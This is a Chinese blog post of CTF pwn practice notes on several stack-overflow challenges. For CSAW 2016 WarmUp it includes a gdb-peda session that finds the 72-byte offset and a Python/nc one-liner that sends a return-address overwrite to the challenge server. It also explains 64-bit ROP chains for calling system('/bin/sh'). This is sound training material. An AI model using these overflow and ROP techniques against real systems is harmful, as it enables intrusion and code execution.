linux pwn練習0x01

題目

doubly_dangerous

在這裏插入圖片描述
內存中找到浮點數據,覆蓋用來比較的局部變量v2即可。
在這裏插入圖片描述
在這裏插入圖片描述

WarmUp

在這裏插入圖片描述

在這裏插入圖片描述
在這裏插入圖片描述

以下爲同一個題目兩種版本:

  • 國外版:
    棧不可執行
    棧不可執行。
  • 國內版:
    在這裏插入圖片描述

通過覆蓋返回地址直接跳轉到函數easy,我測試失敗,接收報錯,ida單步後實際進入easy。
在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
查詢資料發現可以使用ret做nop。

  • 在文件內存中搜尋指令ret
    ROPgadget --binary warmup | grep 'ret'
    
    在這裏插入圖片描述
    在這裏插入圖片描述

關於確定溢出點的一種方法:gdb-peda

$ objdump -M intel -d warmup | grep "<easy>" -A 6
000000000040060d <easy>:
  40060d:	55                   	push   rbp
  40060e:	48 89 e5             	mov    rbp,rsp
  400611:	bf 34 07 40 00       	mov    edi,0x400734
  400616:	e8 b5 fe ff ff       	call   4004d0 <system@plt>
  40061b:	5d                   	pop    rbp
  40061c:	c3                   	ret
$ gdb -q ./warmup
Reading symbols from ./warmup...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /root/warmup
-Warm Up-
WOW:0x40060d
>AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

   0x40069e <main+129>:	call   0x400500 <gets@plt>
   0x4006a3 <main+134>:	leave
=> 0x4006a4 <main+135>:	ret

Stopped reason: SIGSEGV
0x00000000004006a4 in main ()
gdb-peda$ x /gx $rsp
0x7fffffffe878:	0x4134414165414149
gdb-peda$ pattern offset 0x4134414165414149
4698452060381725001 found at offset: 72
$ python -c 'from struct import pack as p; print "A" * 72 + p("Q", 0x40060d)' | nc pwn.chal.csaw.io 8000
-Warm Up-
WOW:0x40060d
>FLAG{LET_US_BEGIN_CSAW_2016}

關於利用ret調用shellcode

函數調用方式的基本介紹

32位程序默認調用函數的方式爲先將參數壓入棧中,靠近call指令的是第一個參數
而64位程序默認調用函數的方式則不同
RDI 中存放第1個參數
RSI 中存放第2個參數
RDX 中存放第3個參數
RCX 中存放第4個參數
R8 中存放第5個參數
R9 中存放第6個參數
如果還有更多的參數,再把過多那幾個的參數像32位程序一樣壓入棧中
然後 call
rop 的基本介紹
這裏只說一下64位程序的rop,瞭解完64位的rop,32位的程序稍微做一下函數調用方式上的改變就好了

比如:現在有3個函數 a(&arg1,arg2),b(arg3,arg4),c(arg1),其中b函數有棧溢出漏洞,a函數是個輸入函數,c函數是system函數

我們要利用b函數的漏洞,運行c函數,而c函數需要從a函數上得到"/bin/sh"這種參數

該怎麼做呢?

首先我們要知道 call 指令與 ret 指令是有兩步操作的
call指令:

  1. 先把下一句指令的地址壓入棧頂 rsp+=8

  2. 跳轉到call後面跟的地址上去
    ret指令:

  3. 跳轉到rsp所指的地址(之前的call壓入的)

  4. rsp-=8
    如果我們調用函數時不使用call指令呢?

函數結束時,移動棧頂(清棧) jmp [rsp] ,rsp-=8
程序中找 pop rsi,pop rdi,ret 這種相連的指令(不相連也可以,不要再影響rsi,rdi就好),把地址記錄下來pop_ret

程序中找 pop rdi,ret 這種相連的指令,把地址記錄下來pop_ret2

好,我們把c函數的rbp+8的位置寫 pop_ret 的地址

rbp+8 pop_ret
rbp+16 arg2
rbp+24 arg1
rbp+32 a函數的地址
rbp+40 pop_ret2
rbp+48 arg1
rbp+56 c函數的地址
當b運行結束後,會返回到 pop_ret 位置

pop rsi rsi=arg2

pop rdi rdi=agr1

jmp a函數

a函數 執行完後 會ret 到pop_ret2

pop rdi rdi=arg1

然後運行c函數

pwn1

  • 查看文件頭

    file pwn1
    objdump -f pwn1
    readelf -h pwn1
    
  • 查看保護

    checksec pwn1
    
  • r2

    root@24f5cb72be5c:/ctf/work/0x01/sCTF 2016 q1-pwn1# r2 pwn1
    [0x08048e10]> aaa
    [x] Analyze all flags starting with sym. and entry0 (aa)
    [x] Analyze len bytes of instructions for references (aar)
    [x] Analyze function calls (aac)
    [x] Use -AA or aaaa to perform additional experimental analysis.
    [ ] Constructing a function name for fcn.* and sym.func.* functions [x] Constructing a function name for fcn.* and sym.func.* functions (aan)
    [0x08048e10]> s main
    [0x0804932d]> pdf
                ;-- main:
    / (fcn) sym.main 18
    |   sym.main ();
    |              ; DATA XREF from 0x08048e27 (entry0)
    |           0x0804932d      55             push ebp
    |           0x0804932e      89e5           mov ebp, esp
    |           0x08049330      83e4f0         and esp, 0xfffffff0
    |           0x08049333      e877feffff     call sym.vuln
    |           0x08049338      b800000000     mov eax, 0
    |           0x0804933d      c9             leave
    \           0x0804933e      c3             ret
    [0x0804932d]> f~vuln
    0x080491af 298 sym.vuln
    [0x0804932d]> iz #查看字符串
    [0x0804932d]> ii #查看導入
    [0x0804932d]> ia #查看導出函數
    
  • objdump

     objdump -T pwn1 #查看PLT
     objdump -R pwn1 #查看GOT
    

在這裏插入圖片描述
strcpy有溢出點,但是源字符串來源有32個的限制,而開闢的棧有0x3c,覆蓋不到ret。
原文提示爲:

I’ll convert a first person statement to a second person statement. I even wrote it in C++ to be super-safe about my strings!

提示說明程序將自我介紹的第一人稱該爲第二人稱;即我是XX -> 你是xx。
結合僞代碼猜測是將I替換爲了you。那麼可以通過多個I膨脹爲you。
0x3C =60; 3 * 21 + 1 = 64即可以覆蓋ret。

在這裏插入圖片描述

just_do_it

在這裏插入圖片描述
在這裏插入圖片描述
輸入的緩存s能接收32字節,打印函數puts的參數v6與s的棧地址差爲20字節,那麼直接覆蓋v6爲全局變量flag即可。
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章